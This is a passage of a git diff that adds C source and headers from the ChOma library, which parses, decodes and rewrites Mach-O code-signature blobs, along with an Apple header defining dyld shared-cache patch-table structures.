*cs_blob_magic_to_string(uint32_t magic) +{ + switch (magic) { + case CSMAGIC_REQUIREMENT: + return "Requirement blob"; + case CSMAGIC_REQUIREMENTS: + return "Requirements blob"; + case CSMAGIC_CODEDIRECTORY: + return "Code directory blob"; + case CSMAGIC_EMBEDDED_SIGNATURE: + return "Embedded signature blob"; + case CSMAGIC_EMBEDDED_SIGNATURE_OLD: + return "Embedded signature blob (old)"; + case CSMAGIC_EMBEDDED_ENTITLEMENTS: + return "Entitlements blob"; + case CSMAGIC_EMBEDDED_DER_ENTITLEMENTS: + return "DER entitlements blob"; + case CSMAGIC_DETACHED_SIGNATURE: + return "Detached signature blob"; + case CSMAGIC_BLOBWRAPPER: + return "Signature blob"; + case CSMAGIC_EMBEDDED_LAUNCH_CONSTRAINT: + return "Launchd contraint blob"; + default: + return "Unknown blob type"; + } +} + +const char *cs_slot_type_to_string(uint32_t slotType) +{ + if (slotType & CSSLOT_ALTERNATE_CODEDIRECTORIES) { + int num = slotType & 0xfff; + switch (num) { + case 0: + return "Alternate code directory slot (1)"; + case 1: + return "Alternate code directory slot (2)"; + case 2: + return "Alternate code directory slot (3)"; + case 3: + return "Alternate code directory slot (4)"; + case 4: + return "Alternate code directory slot (5)"; + default: + return "Alternate code directory slot (invalid)"; + } + } + + switch (slotType) { + case CSSLOT_CODEDIRECTORY: + return "Code directory slot"; + case CSSLOT_INFOSLOT: + return "Info slot"; + case CSSLOT_REQUIREMENTS: + return "Requirements slot"; + case CSSLOT_RESOURCEDIR: + return "Resource Dir slot"; + case CSSLOT_APPLICATION: + return "Application slot"; + case CSSLOT_ENTITLEMENTS: + return "Entitlements slot"; + case CSSLOT_DER_ENTITLEMENTS: + return "DER entitlements slot"; + case CSSLOT_LAUNCH_CONSTRAINT_SELF: + return "Launch constraint slot (self)"; + case CSSLOT_LAUNCH_CONSTRAINT_PARENT: + return "Launch constraint slot (parent)"; + case CSSLOT_LAUNCH_CONSTRAINT_RESPONSIBLE: + return "Launch constraint slot (responsible)"; + case CSSLOT_LIBRARY_CONSTRAINT: + return "Library constraint slot"; + case CSSLOT_SIGNATURESLOT: + return "Signature slot"; + case CSSLOT_IDENTIFICATIONSLOT: + return "Identification slot"; + case CSSLOT_TICKETSLOT: + return "Ticket slot"; + default: + return "Unknown blob type"; + } +} + +int macho_parse_signature_blob_to_der_encoded_data(MachO *macho, uint32_t signatureBlobOffset, uint32_t signatureBlobLength, void *outputDER) +{ + return macho_read_at_offset(macho, signatureBlobOffset + 8, signatureBlobLength - 8, outputDER); +} + +int macho_find_code_signature_bounds(MachO *macho, uint32_t *offsetOut, uint32_t *sizeOut) +{ + __block int r = -1; + macho_enumerate_load_commands(macho, ^(struct load_command loadCommand, uint64_t offset, void *cmd, bool *stop) { + if (loadCommand.cmd == LC_CODE_SIGNATURE) { + struct linkedit_data_command *csLoadCommand = ((struct linkedit_data_command *)cmd); + LINKEDIT_DATA_COMMAND_APPLY_BYTE_ORDER(csLoadCommand, LITTLE_TO_HOST_APPLIER); + if (offsetOut) *offsetOut = csLoadCommand->dataoff; + if (sizeOut) *sizeOut = csLoadCommand->datasize; + *stop = true; + r = 0; + } + }); + return r; +} + +CS_SuperBlob *macho_read_code_signature(MachO *macho) +{ + uint32_t offset = 0, size = 0; + if (macho_find_code_signature_bounds(macho, &offset, &size) == 0) { + CS_SuperBlob *dataOut = malloc(size); + if (macho_read_at_offset(macho, offset, size, dataOut) == 0) { + return dataOut; + } + else { + free(dataOut); + } + } + return NULL; +} + +int macho_replace_code_signature(MachO *macho, CS_SuperBlob *superblob) +{ + uint32_t csSegmentOffset = 0, csSegmentSize = 0; + macho_find_code_signature_bounds(macho, &csSegmentOffset, &csSegmentSize); + + uint32_t sizeOfCodeSignature = 0; + memory_stream_read(macho->stream, csSegmentOffset + offsetof(CS_SuperBlob, length), sizeof(sizeOfCodeSignature), &sizeOfCodeSignature); + sizeOfCodeSignature = BIG_TO_HOST(sizeOfCodeSignature); + + uint64_t newCodeSignatureSize = BIG_TO_HOST(superblob->length); + + // See how much space we have to write the new code signature + uint64_t entireFileSize = memory_stream_get_size(macho->stream); + uint64_t freeSpace = entireFileSize - csSegmentOffset; + uint64_t paddingSize = freeSpace - sizeOfCodeSignature; + + if (newCodeSignatureSize >= freeSpace) { + macho_write_at_offset(macho, csSegmentOffset, newCodeSignatureSize, superblob); + uint8_t padding[paddingSize]; + memset(padding, 0, paddingSize); + macho_write_at_offset(macho, csSegmentOffset + newCodeSignatureSize, paddingSize, padding); + } else if (newCodeSignatureSize < freeSpace) { + memory_stream_trim(macho_get_stream(macho), 0, entireFileSize - csSegmentOffset); + macho_write_at_offset(macho, csSegmentOffset, newCodeSignatureSize, superblob); + uint8_t padding[paddingSize]; + memset(padding, 0, paddingSize); + macho_write_at_offset(macho, csSegmentOffset + newCodeSignatureSize, paddingSize, padding); + } + + return 0; +} + +int macho_extract_cs_to_file(MachO *macho, CS_SuperBlob *superblob) +{ + FILE *csDataFile = fopen("Code_Signature-Data", "wb+"); + fwrite(superblob, BIG_TO_HOST(superblob->length), 1, csDataFile); + fclose(csDataFile); + return 0; +} + +CS_DecodedBlob *csd_blob_init(uint32_t type, CS_GenericBlob *blobData) +{ + CS_DecodedBlob *blob = malloc(sizeof(CS_DecodedBlob)); + if (!blob) return NULL; + memset(blob, 0, sizeof(CS_DecodedBlob)); + + blob->type = type; + blob->stream = buffered_stream_init_from_buffer(blobData, BIG_TO_HOST(blobData->length), BUFFERED_STREAM_FLAG_AUTO_EXPAND); + + return blob; +} + +int csd_blob_read(CS_DecodedBlob *blob, uint64_t offset, size_t size, void *outBuf) +{ + return memory_stream_read(blob->stream, offset, size, outBuf); +} + +static void _csd_blob_fix_length(CS_DecodedBlob *blob) +{ + uint32_t curSize = HOST_TO_BIG((uint32_t)memory_stream_get_size(blob->stream)); + memory_stream_write(blob->stream, offsetof(CS_GenericBlob, length), sizeof(curSize), &curSize); +} + +int csd_blob_write(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf) +{ + int r = memory_stream_write(blob->stream, offset, size, inBuf); + if (r == 0) _csd_blob_fix_length(blob); + return r; +} + +int csd_blob_insert(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf) +{ + int r = memory_stream_insert(blob->stream, offset, size, inBuf); + if (r == 0) _csd_blob_fix_length(blob); + return r; +} + +int csd_blob_delete(CS_DecodedBlob *blob, uint64_t offset, size_t size) +{ + int r = memory_stream_delete(blob->stream, offset, size); + if (r == 0) _csd_blob_fix_length(blob); + return r; +} + +int csd_blob_read_string(CS_DecodedBlob *blob, uint64_t offset, char **outString) +{ + return memory_stream_read_string(blob->stream, offset, outString); +} + +int csd_blob_write_string(CS_DecodedBlob *blob, uint64_t offset, const char *string) +{ + int r = memory_stream_write_string(blob->stream, offset, string); + if (r == 0) _csd_blob_fix_length(blob); + return r; +} + +size_t csd_blob_get_size(CS_DecodedBlob *blob) +{ + return memory_stream_get_size(blob->stream); +} + +uint32_t csd_blob_get_type(CS_DecodedBlob *blob) +{ + return blob->type; +} + +void csd_blob_set_type(CS_DecodedBlob *blob, uint32_t type) +{ + blob->type = type; +} + +void csd_blob_free(CS_DecodedBlob *blob) +{ + if (blob->stream) { + memory_stream_free(blob->stream); + } + free(blob); +} + +CS_DecodedSuperBlob *csd_superblob_init(void) +{ + CS_DecodedSuperBlob *decodedSuperblob = malloc(sizeof(CS_DecodedSuperBlob)); + if (!decodedSuperblob) return NULL; + memset(decodedSuperblob, 0, sizeof(CS_DecodedSuperBlob)); + return decodedSuperblob; +} + +CS_DecodedSuperBlob *csd_superblob_decode(CS_SuperBlob *superblob) +{ + uint32_t magic = BIG_TO_HOST(superblob->magic); + if (magic != CSMAGIC_EMBEDDED_SIGNATURE && magic != CSMAGIC_DETACHED_SIGNATURE) return NULL; + + CS_DecodedSuperBlob *decodedSuperblob = csd_superblob_init(); + if (!decodedSuperblob) return NULL; + + CS_DecodedBlob **nextBlob = &decodedSuperblob->firstBlob; + decodedSuperblob->magic = magic; + + for (uint32_t i = 0; i < BIG_TO_HOST(superblob->count); i++) { + CS_BlobIndex curIndex = superblob->index[i]; + BLOB_INDEX_APPLY_BYTE_ORDER(&curIndex, BIG_TO_HOST_APPLIER); + //printf("decoding %u (type: %x, offset: 0x%x)\n", i, curIndex.type, curIndex.offset); + + CS_GenericBlob *curBlobData = (CS_GenericBlob *)(((uint8_t*)superblob) + curIndex.offset); + + *nextBlob = csd_blob_init(curIndex.type, curBlobData); + nextBlob = &(*nextBlob)->next; + } + return decodedSuperblob; +} + +CS_SuperBlob *csd_superblob_encode(CS_DecodedSuperBlob *decodedSuperblob) +{ + uint32_t blobCount = 0, blobSize = 0; + + // Determine amount and size of contained blobs + CS_DecodedBlob *nextBlob = decodedSuperblob->firstBlob; + while (nextBlob) { + blobCount++; + blobSize += csd_blob_get_size(nextBlob); + nextBlob = nextBlob->next; + } + + uint32_t superblobLength = sizeof(CS_SuperBlob) + (sizeof(CS_BlobIndex) * blobCount) + blobSize; + CS_SuperBlob *superblob = malloc(superblobLength); + + // Populate superblob fields + superblob->count = blobCount; + superblob->length = superblobLength; + superblob->magic = decodedSuperblob->magic; + SUPERBLOB_APPLY_BYTE_ORDER(superblob, HOST_TO_BIG_APPLIER) + + // Populate indexes and write actual backing data + uint32_t idx = 0; + uint32_t dataStartOffset = sizeof(CS_SuperBlob) + (sizeof(CS_BlobIndex) * blobCount); + uint8_t *superblobData = ((uint8_t*)superblob) + dataStartOffset; + uint8_t *superblobDataCur = superblobData; + nextBlob = decodedSuperblob->firstBlob; + while (nextBlob) { + // Populate blob data + uint32_t curSize = csd_blob_get_size(nextBlob); + csd_blob_read(nextBlob, 0, curSize, superblobDataCur); + + // Populate index + CS_BlobIndex *curIndex = &superblob->index[idx]; + curIndex->offset = dataStartOffset + (superblobDataCur - superblobData); + curIndex->type = nextBlob->type; + BLOB_INDEX_APPLY_BYTE_ORDER(curIndex, HOST_TO_BIG_APPLIER); + + superblobDataCur += curSize; + idx++; + nextBlob = nextBlob->next; + } + return superblob; +} + +CS_DecodedBlob *csd_superblob_find_blob(CS_DecodedSuperBlob *superblob, uint32_t type, uint32_t *indexOut) +{ + CS_DecodedBlob *blob = superblob->firstBlob; + uint32_t i = 0; + while (blob) { + if (blob->type == type) { + if (indexOut) *indexOut = i; + return blob; + } + blob = blob->next; + i++; + } + return NULL; +} + +CS_DecodedBlob *csd_superblob_find_blob_by_magic(CS_DecodedSuperBlob *superblob, uint32_t magic, uint32_t *indexOut) +{ + CS_DecodedBlob *blob = superblob->firstBlob; + uint32_t i = 0; + while (blob) { + uint32_t blobMagic = 0; + memory_stream_read(blob->stream, 0, sizeof(uint32_t), &blobMagic); + if (BIG_TO_HOST(blobMagic) == magic) { + if (indexOut) *indexOut = i; + return blob; + } + blob = blob->next; + i++; + } + return NULL; +} + +int csd_superblob_insert_blob_after_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, CS_DecodedBlob *afterBlob) +{ + blobToInsert->next = afterBlob->next; + afterBlob->next = blobToInsert; + return 0; +} + +int csd_superblob_insert_blob_at_index(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, uint32_t atIndex) +{ + if (atIndex == 0) { + blobToInsert->next = superblob->firstBlob; + superblob->firstBlob = blobToInsert; + return 0; + } + else { + uint32_t i = 0; + CS_DecodedBlob *blobAtIndex = superblob->firstBlob; + while (blobAtIndex && i < atIndex) { + blobAtIndex = blobAtIndex->next; + i++; + } + if (blobAtIndex) { + return csd_superblob_insert_blob_after_blob(superblob, blobToInsert, blobAtIndex); + } + return -1; + } +} + +int csd_superblob_append_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToAppend) +{ + if (!superblob->firstBlob) { + superblob->firstBlob = blobToAppend; + return 0; + } + + CS_DecodedBlob *lastBlob = superblob->firstBlob; + while (lastBlob->next) { + lastBlob = lastBlob->next; + } + return csd_superblob_insert_blob_after_blob(superblob, blobToAppend, lastBlob); +} + +int csd_superblob_replace_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *newBlob) +{ + uint32_t index = 0; + CS_DecodedBlob *blob = csd_superblob_find_blob(superblob, newBlob->type, &index); + if (blob) { + csd_superblob_remove_blob_at_index(superblob, index); + csd_superblob_insert_blob_at_index(superblob, newBlob, index); + } else { + csd_superblob_append_blob(superblob, newBlob); + } + return 0; +} + +int csd_superblob_remove_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToRemove) +{ + CS_DecodedBlob *blob = superblob->firstBlob; + if (blob == blobToRemove) { + superblob->firstBlob = blobToRemove->next; + return 0; + } + while (blob) { + if (blob->next == blobToRemove) { + blob->next = blobToRemove->next; + return 0; + } + blob = blob->next; + } + return -1; +} + +int csd_superblob_remove_blob_at_index(CS_DecodedSuperBlob *superblob, uint32_t atIndex) +{ + if (atIndex == 0) { + return csd_superblob_remove_blob(superblob, superblob->firstBlob); + } + else { + uint32_t i = 0; + CS_DecodedBlob *blobAtIndex = superblob->firstBlob; + while (blobAtIndex && i < atIndex) { + blobAtIndex = blobAtIndex->next; + i++; + } + if (blobAtIndex) { + int r = csd_superblob_remove_blob(superblob, blobAtIndex); + if (r == 0) csd_blob_free(blobAtIndex); + return r; + } + return -1; + } + return 0; +} + +CS_DecodedBlob *csd_superblob_find_best_code_directory(CS_DecodedSuperBlob *decodedSuperblob) +{ + CS_DecodedBlob *bestCDBlob = NULL; + unsigned bestCDBlobRank = 0; + + CS_DecodedBlob *blob = decodedSuperblob->firstBlob; + while (blob) { + if (blob->type == CSSLOT_CODEDIRECTORY || ((CSSLOT_ALTERNATE_CODEDIRECTORIES <= blob->type && blob->type < CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT))) { + unsigned CDBlobRank = csd_code_directory_calculate_rank(blob); + if (CDBlobRank > bestCDBlobRank) { + bestCDBlob = blob; + bestCDBlobRank = CDBlobRank; + } + } + blob = blob->next; + } + + return bestCDBlob; +} + +int csd_superblob_calculate_best_cdhash(CS_DecodedSuperBlob *decodedSuperblob, void *cdhashOut, int *cdhashTypeOut) +{ + if (!cdhashOut) return -1; + CS_DecodedBlob *bestCDBlob = csd_superblob_find_best_code_directory(decodedSuperblob); + if (cdhashTypeOut) *cdhashTypeOut = csd_code_directory_get_hash_type(bestCDBlob); + return csd_code_directory_calculate_hash(bestCDBlob, cdhashOut); +} + +int csd_superblob_print_content(CS_DecodedSuperBlob *decodedSuperblob, MachO *macho, bool printAllSlots, bool verifySlots) +{ + CS_DecodedBlob *currentBlob = decodedSuperblob->firstBlob; + int count = 0; + uint32_t offset = 0; + while (currentBlob) { + uint32_t blobType = currentBlob->type; + printf("Slot %d: %s (offset 0x%x, type: 0x%x).\n", count++, cs_slot_type_to_string(blobType), offset, blobType); + + if (blobType == CSSLOT_CODEDIRECTORY || blobType == CSSLOT_ALTERNATE_CODEDIRECTORIES) { + csd_code_directory_print_content(currentBlob, macho, printAllSlots, verifySlots); + } + else if (blobType == CSSLOT_SIGNATURESLOT) { + CS_GenericBlob *cms_blob = malloc(sizeof(CS_GenericBlob)); + memset(cms_blob, 0, sizeof(CS_GenericBlob)); + memory_stream_read(currentBlob->stream, 0, sizeof(CS_GenericBlob), cms_blob); + GENERIC_BLOB_APPLY_BYTE_ORDER(cms_blob, BIG_TO_HOST_APPLIER); + printf("This is the %s, magic %#x.\n", cs_blob_magic_to_string(cms_blob->magic), cms_blob->magic); + } + else { + CS_GenericBlob *generic_blob = malloc(sizeof(CS_GenericBlob)); + memset(generic_blob, 0, sizeof(CS_GenericBlob)); + memory_stream_read(currentBlob->stream, 0, sizeof(CS_GenericBlob), generic_blob); + GENERIC_BLOB_APPLY_BYTE_ORDER(generic_blob, BIG_TO_HOST_APPLIER); + printf("This is the %s, magic %#x.\n", cs_blob_magic_to_string(generic_blob->magic), generic_blob->magic); + } + + offset += csd_blob_get_size(currentBlob); + currentBlob = currentBlob->next; + } + return 0; +} + +void csd_superblob_free(CS_DecodedSuperBlob *decodedSuperblob) +{ + CS_DecodedBlob *nextBlob = decodedSuperblob->firstBlob; + while (nextBlob) { + CS_DecodedBlob *prevBlob = nextBlob; + nextBlob = nextBlob->next; + csd_blob_free(prevBlob); + } + free(decodedSuperblob); +} diff --git a/XPF/external/ChOma/src/CSBlob.h b/XPF/external/ChOma/src/CSBlob.h new file mode 100644 index 0000000..8a628ff --- /dev/null +++ b/XPF/external/ChOma/src/CSBlob.h @@ -0,0 +1,120 @@ +#ifndef CS_BLOB_H +#define CS_BLOB_H + +#include +#include +#include +#include + +#include "Fat.h" +#include "MachO.h" +#include "MemoryStream.h" + +// Blob index +typedef struct __BlobIndex { + uint32_t type; + uint32_t offset; +} CS_BlobIndex; + +// CMS superblob +typedef struct __SuperBlob { + uint32_t magic; + uint32_t length; + uint32_t count; + CS_BlobIndex index[]; +} CS_SuperBlob; + +typedef struct __GenericBlob { + uint32_t magic; /* magic number */ + uint32_t length; /* total length of blob */ + char data[]; +} CS_GenericBlob; + +// CMS blob magic types +typedef enum { + CSMAGIC_REQUIREMENT = 0xfade0c00, + CSMAGIC_REQUIREMENTS = 0xfade0c01, + CSMAGIC_CODEDIRECTORY = 0xfade0c02, + CSMAGIC_EMBEDDED_SIGNATURE = 0xfade0cc0, + CSMAGIC_EMBEDDED_SIGNATURE_OLD = 0xfade0b02, + CSMAGIC_EMBEDDED_ENTITLEMENTS = 0xfade7171, + CSMAGIC_EMBEDDED_DER_ENTITLEMENTS = 0xfade7172, + CSMAGIC_DETACHED_SIGNATURE = 0xfade0cc1, + CSMAGIC_BLOBWRAPPER = 0xfade0b01, + CSMAGIC_EMBEDDED_LAUNCH_CONSTRAINT = 0xfade8181, +} CS_BlobMagic; + +typedef enum { + CSSLOT_CODEDIRECTORY = 0, + CSSLOT_INFOSLOT = 1, + CSSLOT_REQUIREMENTS = 2, + CSSLOT_RESOURCEDIR = 3, + CSSLOT_APPLICATION = 4, + CSSLOT_ENTITLEMENTS = 5, + CSSLOT_DER_ENTITLEMENTS = 7, + CSSLOT_LAUNCH_CONSTRAINT_SELF = 8, + CSSLOT_LAUNCH_CONSTRAINT_PARENT = 9, + CSSLOT_LAUNCH_CONSTRAINT_RESPONSIBLE = 10, + CSSLOT_LIBRARY_CONSTRAINT = 11, + + CSSLOT_ALTERNATE_CODEDIRECTORIES = 0x1000, /* first alternate CodeDirectory, if any */ + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX = 5, /* max number of alternate CD slots */ + CSSLOT_ALTERNATE_CODEDIRECTORY_LIMIT = CSSLOT_ALTERNATE_CODEDIRECTORIES + CSSLOT_ALTERNATE_CODEDIRECTORY_MAX, /* one past the last */ + + CSSLOT_SIGNATURESLOT = 0x10000, + CSSLOT_IDENTIFICATIONSLOT = 0x10001, + CSSLOT_TICKETSLOT = 0x10002, +} CS_SlotType; + +typedef struct s_CS_DecodedBlob { + struct s_CS_DecodedBlob *next; + uint32_t type; + MemoryStream *stream; +} CS_DecodedBlob; + +typedef struct s_CS_DecodedSuperBlob { + uint32_t magic; + struct s_CS_DecodedBlob *firstBlob; +} CS_DecodedSuperBlob; + +// Convert blob magic to readable blob type string +const char *cs_blob_magic_to_string(uint32_t magic); +const char *cs_slot_type_to_string(uint32_t slotType); + +// Extract Code Signature to file +int macho_extract_cs_to_file(MachO *macho, CS_SuperBlob *superblob); + +int macho_find_code_signature_bounds(MachO *macho, uint32_t *offsetOut, uint32_t *sizeOut); + +CS_SuperBlob *macho_read_code_signature(MachO *macho); + +int macho_replace_code_signature(MachO *macho, CS_SuperBlob *superblob); + +CS_DecodedBlob *csd_blob_init(uint32_t type, CS_GenericBlob *blobData); +int csd_blob_read(CS_DecodedBlob *blob, uint64_t offset, size_t size, void *outBuf); +int csd_blob_write(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf); +int csd_blob_insert(CS_DecodedBlob *blob, uint64_t offset, size_t size, const void *inBuf); +int csd_blob_delete(CS_DecodedBlob *blob, uint64_t offset, size_t size); +int csd_blob_read_string(CS_DecodedBlob *blob, uint64_t offset, char **outString); +int csd_blob_write_string(CS_DecodedBlob *blob, uint64_t offset, const char *string); +size_t csd_blob_get_size(CS_DecodedBlob *blob); +uint32_t csd_blob_get_type(CS_DecodedBlob *blob); +void csd_blob_set_type(CS_DecodedBlob *blob, uint32_t type); +void csd_blob_free(CS_DecodedBlob *blob); + +CS_DecodedSuperBlob *csd_superblob_init(void); +CS_DecodedSuperBlob *csd_superblob_decode(CS_SuperBlob *superblob); +CS_SuperBlob *csd_superblob_encode(CS_DecodedSuperBlob *decodedSuperblob); +CS_DecodedBlob *csd_superblob_find_blob(CS_DecodedSuperBlob *superblob, uint32_t type, uint32_t *indexOut); +CS_DecodedBlob *csd_superblob_find_blob_by_magic(CS_DecodedSuperBlob *superblob, uint32_t magic, uint32_t *indexOut); +int csd_superblob_insert_blob_after_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, CS_DecodedBlob *afterBlob); +int csd_superblob_insert_blob_at_index(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToInsert, uint32_t atIndex); +int csd_superblob_append_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToAppend); +int csd_superblob_replace_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *newBlob); +int csd_superblob_remove_blob(CS_DecodedSuperBlob *superblob, CS_DecodedBlob *blobToRemove); // <- Important: When calling this, caller is responsible for freeing blobToRemove +int csd_superblob_remove_blob_at_index(CS_DecodedSuperBlob *superblob, uint32_t atIndex); +int csd_superblob_calculate_best_cdhash(CS_DecodedSuperBlob *decodedSuperblob, void *cdhashOut, int *cdhashType); +int csd_superblob_print_content(CS_DecodedSuperBlob *decodedSuperblob, MachO *macho, bool printAllSlots, bool verifySlots); +void csd_superblob_free(CS_DecodedSuperBlob *decodedSuperblob); + +#endif // CS_BLOB_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/CachePatching.h b/XPF/external/ChOma/src/CachePatching.h new file mode 100644 index 0000000..747a6a7 --- /dev/null +++ b/XPF/external/ChOma/src/CachePatching.h @@ -0,0 +1,195 @@ +/* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- + * + * Copyright (c) 2003-2010 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +#ifndef _CACHE_PATCHING_H_ +#define _CACHE_PATCHING_H_ + +#include + +// +// MARK: --- V1 patching. This is for old caches, before Large/Split caches --- +// + +struct dyld_cache_patch_info_v1 +{ + uint64_t patchTableArrayAddr; // (unslid) address of array for dyld_cache_image_patches for each image + uint64_t patchTableArrayCount; // count of patch table entries + uint64_t patchExportArrayAddr; // (unslid) address of array for patch exports for each image + uint64_t patchExportArrayCount; // count of patch exports entries + uint64_t patchLocationArrayAddr; // (unslid) address of array for patch locations for each patch + uint64_t patchLocationArrayCount;// count of patch location entries + uint64_t patchExportNamesAddr; // blob of strings of export names for patches + uint64_t patchExportNamesSize; // size of string blob of export names for patches +}; + +struct dyld_cache_image_patches_v1 +{ + uint32_t patchExportsStartIndex; + uint32_t patchExportsCount; +}; + +struct dyld_cache_patchable_export_v1 +{ + uint32_t cacheOffsetOfImpl; + uint32_t patchLocationsStartIndex; + uint32_t patchLocationsCount; + uint32_t exportNameOffset; +}; + +struct dyld_cache_patchable_location_v1 +{ + uint32_t cacheOffset; + uint64_t high7 : 7, + addend : 5, // 0..31 + authenticated : 1, + usesAddressDiversity : 1, + key : 2, + discriminator : 16; +}; + +// +// MARK: --- V2 patching. This is for Large/Split caches and newer --- +// +struct dyld_cache_patch_info_v2 +{ + uint32_t patchTableVersion; // == 2 + uint32_t patchLocationVersion; // == 0 for now + uint64_t patchTableArrayAddr; // (unslid) address of array for dyld_cache_image_patches_v2 for each image + uint64_t patchTableArrayCount; // count of patch table entries + uint64_t patchImageExportsArrayAddr; // (unslid) address of array for dyld_cache_image_export_v2 for each image + uint64_t patchImageExportsArrayCount; // count of patch table entries + uint64_t patchClientsArrayAddr; // (unslid) address of array for dyld_cache_image_clients_v2 for each image + uint64_t patchClientsArrayCount; // count of patch clients entries + uint64_t patchClientExportsArrayAddr; // (unslid) address of array for patch exports for each client image + uint64_t patchClientExportsArrayCount; // count of patch exports entries + uint64_t patchLocationArrayAddr; // (unslid) address of array for patch locations for each patch + uint64_t patchLocationArrayCount; // count of patch location entries + uint64_t patchExportNamesAddr; // blob of strings of export names for patches + uint64_t patchExportNamesSize; // size of string blob of export names for patches +}; + +struct dyld_cache_image_patches_v2 +{ + uint32_t patchClientsStartIndex; + uint32_t patchClientsCount; + uint32_t patchExportsStartIndex; // Points to dyld_cache_image_export_v2[] + uint32_t patchExportsCount; +}; + +struct dyld_cache_image_export_v2 +{ + uint32_t dylibOffsetOfImpl; // Offset from the dylib we used to find a dyld_cache_image_patches_v2 + uint32_t exportNameOffset : 28; + uint32_t patchKind : 4; // One of DyldSharedCache::patchKind +}; + +struct dyld_cache_image_clients_v2 +{ + uint32_t clientDylibIndex; + uint32_t patchExportsStartIndex; // Points to dyld_cache_patchable_export_v2[] + uint32_t patchExportsCount; +}; + +struct dyld_cache_patchable_export_v2 +{ + uint32_t imageExportIndex; // Points to dyld_cache_image_export_v2 + uint32_t patchLocationsStartIndex; // Points to dyld_cache_patchable_location_v2[] + uint32_t patchLocationsCount; +}; + +struct dyld_cache_patchable_location_v2 +{ + uint32_t dylibOffsetOfUse; // Offset from the dylib we used to get a dyld_cache_image_clients_v2 + uint32_t high7 : 7, + addend : 5, // 0..31 + authenticated : 1, + usesAddressDiversity : 1, + key : 2, + discriminator : 16; +}; + +// +// MARK: --- V3 patching. This is V2 plus support for GOT combining --- +// +struct dyld_cache_patch_info_v3 +{ + struct dyld_cache_patch_info_v2 infoV2; + // uint32_t patchTableVersion; // == 3 + // ... other fields from dyld_cache_patch_info_v2 + uint64_t gotClientsArrayAddr; // (unslid) address of array for dyld_cache_image_got_clients_v3 for each image + uint64_t gotClientsArrayCount; // count of got clients entries. Should always match the patchTableArrayCount + uint64_t gotClientExportsArrayAddr; // (unslid) address of array for patch exports for each GOT image + uint64_t gotClientExportsArrayCount; // count of patch exports entries + uint64_t gotLocationArrayAddr; // (unslid) address of array for patch locations for each GOT patch + uint64_t gotLocationArrayCount; // count of patch location entries +}; + +struct dyld_cache_image_got_clients_v3 +{ + uint32_t patchExportsStartIndex; // Points to dyld_cache_patchable_export_v3[] + uint32_t patchExportsCount; +}; + +struct dyld_cache_patchable_export_v3 +{ + uint32_t imageExportIndex; // Points to dyld_cache_image_export_v2 + uint32_t patchLocationsStartIndex; // Points to dyld_cache_patchable_location_v3[] + uint32_t patchLocationsCount; +}; + +struct dyld_cache_patchable_location_v3 +{ + uint64_t cacheOffsetOfUse; // Offset from the cache header + uint32_t high7 : 7, + addend : 5, // 0..31 + authenticated : 1, + usesAddressDiversity : 1, + key : 2, + discriminator : 16; +}; + +struct dyld_cache_patchable_location_v4 +{ + uint64_t dylibOffsetOfUse; // Offset from the cache header + union { + struct { + uint32_t authenticated : 1, // == 1 + high7 : 7, + isWeakImport : 1, + addend : 5, // 0..31 + usesAddressDiversity : 1, + keyIsD : 1, // B keys are not permitted. So this is just whether the A key is I or D (0 => I, 1 => D) + discriminator : 16; + } auth; + struct { + uint32_t authenticated : 1, // == 0 + high7 : 7, + isWeakImport : 1, + addend : 23; + } regular; + }; +}; + + +#endif /* _CACHE_PATCHING_H_ */ + diff --git a/XPF/external/ChOma/src/CodeDirectory.c b/XPF/external/ChOma/src/CodeDirectory.c new file mode 100644 index 0000000..4f79753 --- /dev/null +++ b/XPF/external/ChOma/src/CodeDirectory.c @@ -0,0 +1,611 @@ +#include "CodeDirectory.h" +#include "CSBlob.h" +#include "Util.h" +#include "BufferedStream.h" +#include "MemoryStream.h" +#include +#include + +void print_cdhash(cdhash_t cdhash) +{ + for (int i = 0; i < sizeof(cdhash_t); i++) { + printf("%02x", cdhash[i]); + } +} + +void csd_code_directory_read_slot_hash(CS_DecodedBlob *codeDirBlob, MachO *macho, int slot, uint8_t *slotHashOut) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + csd_blob_read(codeDirBlob, codeDir.hashOffset + (slot * codeDir.hashSize), codeDir.hashSize, slotHashOut); +} + +bool code_directory_calculate_page_hash(CS_CodeDirectory *codeDir, MachO *macho, int slot, uint8_t *pageHashOut) +{ + uint32_t pageToReadSize = (uint32_t)(pow(2.0, (double)(codeDir->pageSize))); + uint32_t pageToReadOffset = slot * pageToReadSize; + + // Special case for reading the code signature itself + if (slot == codeDir->nCodeSlots - 1) { + uint32_t csOffset = 0, csSize = 0; + macho_find_code_signature_bounds(macho, &csOffset, &csSize); + if (pageToReadOffset > csOffset) return false; + if (!csOffset || 